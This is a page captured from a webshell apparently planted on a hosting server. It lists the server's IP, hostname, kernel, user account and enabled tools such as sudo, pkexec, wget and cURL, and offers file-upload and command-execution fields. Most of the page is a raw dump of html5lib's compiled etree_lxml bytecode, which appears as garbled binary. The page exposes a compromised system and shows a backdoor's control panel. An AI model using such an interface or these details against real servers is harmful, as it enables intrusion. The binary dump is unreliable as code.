- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.135.198.82
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/html5lib/treebuilders/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/html5lib/treebuilders/__pycache__/etree_lxml.cpython-36.pyc
3

B;�WQ7�@s�dZddlmZmZmZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
dd	lmZ
dd
lmZddljZdZejd�Zejd
�jZGdd�de�ZGdd�de�Zdd�Zdd�ZGdd�de	j�ZdS)a�Module for supporting the lxml.etree library. The idea here is to use as much
of the native library as possible, without using fragile hacks like custom element
names that break between releases. The downside of this is that we cannot represent
all possible trees; specifically the following are known to cause problems:

Text or comments as siblings of the root element
Docypes with no name

When any of these things occur, we emit a DataLossWarning
�)�absolute_import�division�unicode_literalsN�)�base�)�DataLossWarning)�	constants)�etree)�	_ihatexmlTz
{([^}]*)}(.*)Zasdc@seZdZdd�ZdS)�DocumentTypecCs||_||_||_dS)N)�name�publicId�systemId)�selfr
rr�r� /usr/lib/python3.6/etree_lxml.py�__init__#szDocumentType.__init__N)�__name__�
__module__�__qualname__rrrrrr"src@s,eZdZdd�Zdd�Zdd�Zee�ZdS)�DocumentcCsd|_g|_dS)N)�_elementTree�_childNodes)rrrrr*szDocument.__init__cCs|jj�j|j�dS)N)r�getrootZaddnext�_element)r�elementrrr�appendChild.szDocument.appendChildcCs|jS)N)r)rrrr�_getChildNodes1szDocument._getChildNodesN)rrrrrr�propertyZ
childNodesrrrrr)srcs6g�tjdd��d���fdd�	��|d�dj��S)NT)�preventDoubleDashCommentsrc
sDt|d��s8t|d�rˆjd�|jjrz|jjp6|jjsFd|jj}nd|jj|jj|jjf}�jdd|d|f�|j�}x|j�dk	r�|j�}q�Wx�|dk	r��||d�|j	�}q�Wnrt
|t�s�t
|t��rt
|t�s�t
jd	dks�t��jd
d||f�n(�jd�x|D]}�||d��qW�n|jtk�r��jdd||jf�t|d
��r@|j�r@�jd
d||jf��n�t
|tj��s�t�tjj|j�}|dk	�r�|jd�}|jd�}tj|}�jdd||�j|�f�n�jdd|�j|j�f�t|d��r�g}xr|jj�D]d\}	}
tj|	�}|dk	�rx|j�\}}	�j|	�}	tj|}d||	f}n
�j|	�}|j||
f��q.Wx2t |�D]&\}	}
�jdd|d|	|
f��q�W|j�r�jd
d|d|jf�|d7}x|D]}�||��q�Wt|d
��r@|j�r@�jd
d|d|jf�dS)N�tagrz	#documentz
<!DOCTYPE %s>z<!DOCTYPE %s "%s" "%s">z|%s%s� rrz|%s"%s"z#document-fragmentz|%s<!-- %s -->�tailrz
|%s<%s %s>z|%s<%s>�attribz%s %sz
|%s%s="%s")!�hasattr�append�docinfo�internalDTDZ	public_idZ
system_url�	root_namerZgetpreviousZgetnext�
isinstance�str�bytes�sys�version_info�AssertionErrorr!�comment_type�textr#r
Z_Element�etree_builders�
tag_regexp�match�groupr	�prefixes�fromXmlNamer$�items�groups�sorted)
r�indent�dtd_strZnext_elementZnsmatch�nsr!�prefix�
attributesr
�valueZattr_string�child)�
infosetFilter�rv�serializeElementrrrD;st













"
z(testSerializer.<locals>.serializeElement�
)r)r�
InfosetFilter�join)rr)rBrCrDr�testSerializer7s
F
rHcs$g���fdd���|�dj��S)z4Serialize an element and its child nodes to a stringcs
t|d�sH|jjr:|jjr$|jj}nd|jj}�j|��|j��n�|jtkrf�jd|j	f�n�|j
s��jd|jf�n.djdd�|j
j�D��}�jd|j|f�|j	r��j|j	�x|D]}�|�q�W�jd	|jf�t|d
�o�|j
�r�j|j
�dS)Nr!z
<!DOCTYPE %s>z	<!--%s-->z<%s>r"cSsg|]\}}d||f�qS)z%s="%s"r)�.0r
r@rrr�
<listcomp>�sz6tostring.<locals>.serializeElement.<locals>.<listcomp>z<%s %s>z</%s>r#)r%r'r(�doctyper)r&rr!r0r1r$rGr8r#)rr<�attrrA)rCrDrrrD�s*





z"tostring.<locals>.serializeElement�)rG)rr)rCrDr�tostring�s rNcszeZdZeZeZdZdZeZ	e
Zddd�Zdd�Z
dd�Zd	d
�Zdd�Zd
d�Zddd�Zd�fdd�	Zdd�Z�ZS)�TreeBuilderNFcs�tjt|d��tjdd��|_||_G�fdd�dt��G���fdd�d�j�}G��fdd	�d	�j	�}||_
||_tj
j||�dS)
N)�fullTreeT)r cs&eZdZd�fdd�	Z�fdd�ZdS)z(TreeBuilder.__init__.<locals>.AttributesNcsv|dkri}||_tj||�xR|j�D]F\}}t|t�rVd|d�j|d�f}n
�j|�}||jjj|<q(WdS)Nz{%s}%srr)r�dictrr8r*�tuple�coerceAttributer$)rrr@�keyr
)rBrrr�s

z1TreeBuilder.__init__.<locals>.Attributes.__init__csPtj|||�t|t�r4d|d�j|d�f}n
�j|�}||jjj|<dS)Nz{%s}%srr)rQ�__setitem__r*rRrSrr$)rrTr@r
)rBrrrU�s


z4TreeBuilder.__init__.<locals>.Attributes.__setitem__)N)rrrrrUr)rBrr�
Attributes�srVcsxeZdZ���fdd�Z�fdd�Z�fdd�Zeee�Zdd�Z�fd	d
�Z	eee	�Z
d��fdd
�	Z�fdd�ZdS)z%TreeBuilder.__init__.<locals>.Elementcs*�j|�}�jj|||d��|�|_dS)N)�	namespace)�
coerceElement�Elementr�_attributes)rr
rW)rV�builderrBrrr�s
z.TreeBuilder.__init__.<locals>.Element.__init__cs$�j|�|_|j|j|j�|j_dS)N)rX�_nameZ_getETreeTagZ
_namespacerr!)rr
)rBrr�_setName�sz.TreeBuilder.__init__.<locals>.Element._setNamecs�j|j�S)N)r7r\)r)rBrr�_getName�sz.TreeBuilder.__init__.<locals>.Element._getNamecSs|jS)N)rZ)rrrr�_getAttributes�sz4TreeBuilder.__init__.<locals>.Element._getAttributescs�||�|_dS)N)rZ)rr?)rVrr�_setAttributes�sz4TreeBuilder.__init__.<locals>.Element._setAttributesNcs�j|�}�jj|||�dS)N)ZcoerceCharactersrY�
insertText)r�dataZinsertBefore)r[rBrrra�s
z0TreeBuilder.__init__.<locals>.Element.insertTextcs�jj||�dS)N)rYr)rrA)r[rrr�sz1TreeBuilder.__init__.<locals>.Element.appendChild)N)
rrrrr]r^rr
r_r`r?rarr)rVr[rBrrrY�s

rYcs8eZdZ��fdd�Z�fdd�Zdd�Zeee�ZdS)z%TreeBuilder.__init__.<locals>.Commentcs�j|�}�jj||�dS)N)�
coerceComment�Commentr)rrb)r[rBrrr�s
z.TreeBuilder.__init__.<locals>.Comment.__init__cs�j|�}||j_dS)N)rcrr1)rrb)rBrr�_setData�s
z.TreeBuilder.__init__.<locals>.Comment._setDatacSs|jjS)N)rr1)rrrr�_getData�sz.TreeBuilder.__init__.<locals>.Comment._getDataN)rrrrrerfrrbr)r[rBrrrd�srd)r2ZgetETreeModuler
rrFrB�namespaceHTMLElementsrQrYrd�elementClass�commentClassrrOr)rrgrPrYrdr)rVr[rBrr�szTreeBuilder.__init__cCs$tjj|�|j|_g|_d|_dS)N)rrO�reset�insertCommentInitial�
insertComment�initial_commentsrK)rrrrrjszTreeBuilder.resetcCst|�S)N)rH)rrrrrrH	szTreeBuilder.testSerializercCstr|jjS|jjj�SdS)N)rP�documentrr)rrrr�getDocumentszTreeBuilder.getDocumentcCsFg}|jdj}|jr"|j|j�|jt|��|jrB|j|j�|S)Nr)�openElementsrr1r&�extend�listr#)rZfragmentrrrr�getFragmentszTreeBuilder.getFragmentcCsh|d}|d}|d}|s0tjdt�d|_n4|jj|�}||krPtjdt�|j|||�}||_dS)Nr
rrz#lxml cannot represent empty doctypez%lxml cannot represent non-xml doctype)�warnings�warnrrKrBrX�doctypeClass)r�tokenr
rrZcoercedNamerKrrr�
insertDoctypeszTreeBuilder.insertDoctypecCs6|dks||jkst�|jjdks&t�|jj|�dS)N)rnr/rrmr&)rrb�parentrrrrk,sz TreeBuilder.insertCommentInitialcsB||jkr,|jjj�djtkr,tjdt�tt	|�j
||�dS)Nrz@lxml cannot represent adjacent comments beyond the root elements���)rnrrr!r0rtrur�superrOrl)rrbry)�	__class__rr�insertCommentMain1s
zTreeBuilder.insertCommentMaincCs�d}|jr�|jjst�|d|jj7}|jjdk	s>|jjdk	r�|d|jj|jjpRd�7}|jjr�|jj}|jd�dkr�|jd�dkr�tj	dt
�|jdd	�}|jd�dkr�|d
|7}q�|d|7}n|d7}|d
7}|jj|dkr�tj	dt
�|d7}tj
|�}x*|jD] }|j|d�}|j|j��qW|j�|_|j�|j_|d}|jd|j�}|dk�rn|}	nd||f}	|	|_|j||�}
||
_|jjj|
�|jj|
�|j|_dS)zCreate the document rootrMz<!DOCTYPE %sNz
 PUBLIC "%s" �'r�"z6DOCTYPE system cannot contain single and double quotesZU00027z"%s"z'%s'z''�>r
zGlxml cannot represent doctype with a different name to the root elementz$<THIS_SHOULD_NEVER_APPEAR_PUBLICLY/>rbrWz{%s}%s)rKr
r/rrrBZcoercePubid�findrtrur�replacer
Z
fromstringrmriZaddpreviousr�
documentClassrnZgetroottreer�getZdefaultNamespacer!rhrr&rpr}rl)rrwZdocStrZsysid�root�
comment_tokenZcommentr
rWZ	etree_tagZroot_elementrrr�
insertRoot7sL


zTreeBuilder.insertRoot)F)N)N)rrrrr�rrvrhriZ
fragmentClassr
�implementationrrjrHrorsrxrkr}r��
__classcell__rr)r|rrO�s
L

rO)�__doc__Z
__future__rrrrt�rer-rMrr	rr
r2rZ
lxml.etreerP�compiler3rdr!r0�objectrrrHrNrOrrrr�<module>
s$

O)

Youez - 2016 - github.com/yon3zu
LinuXploit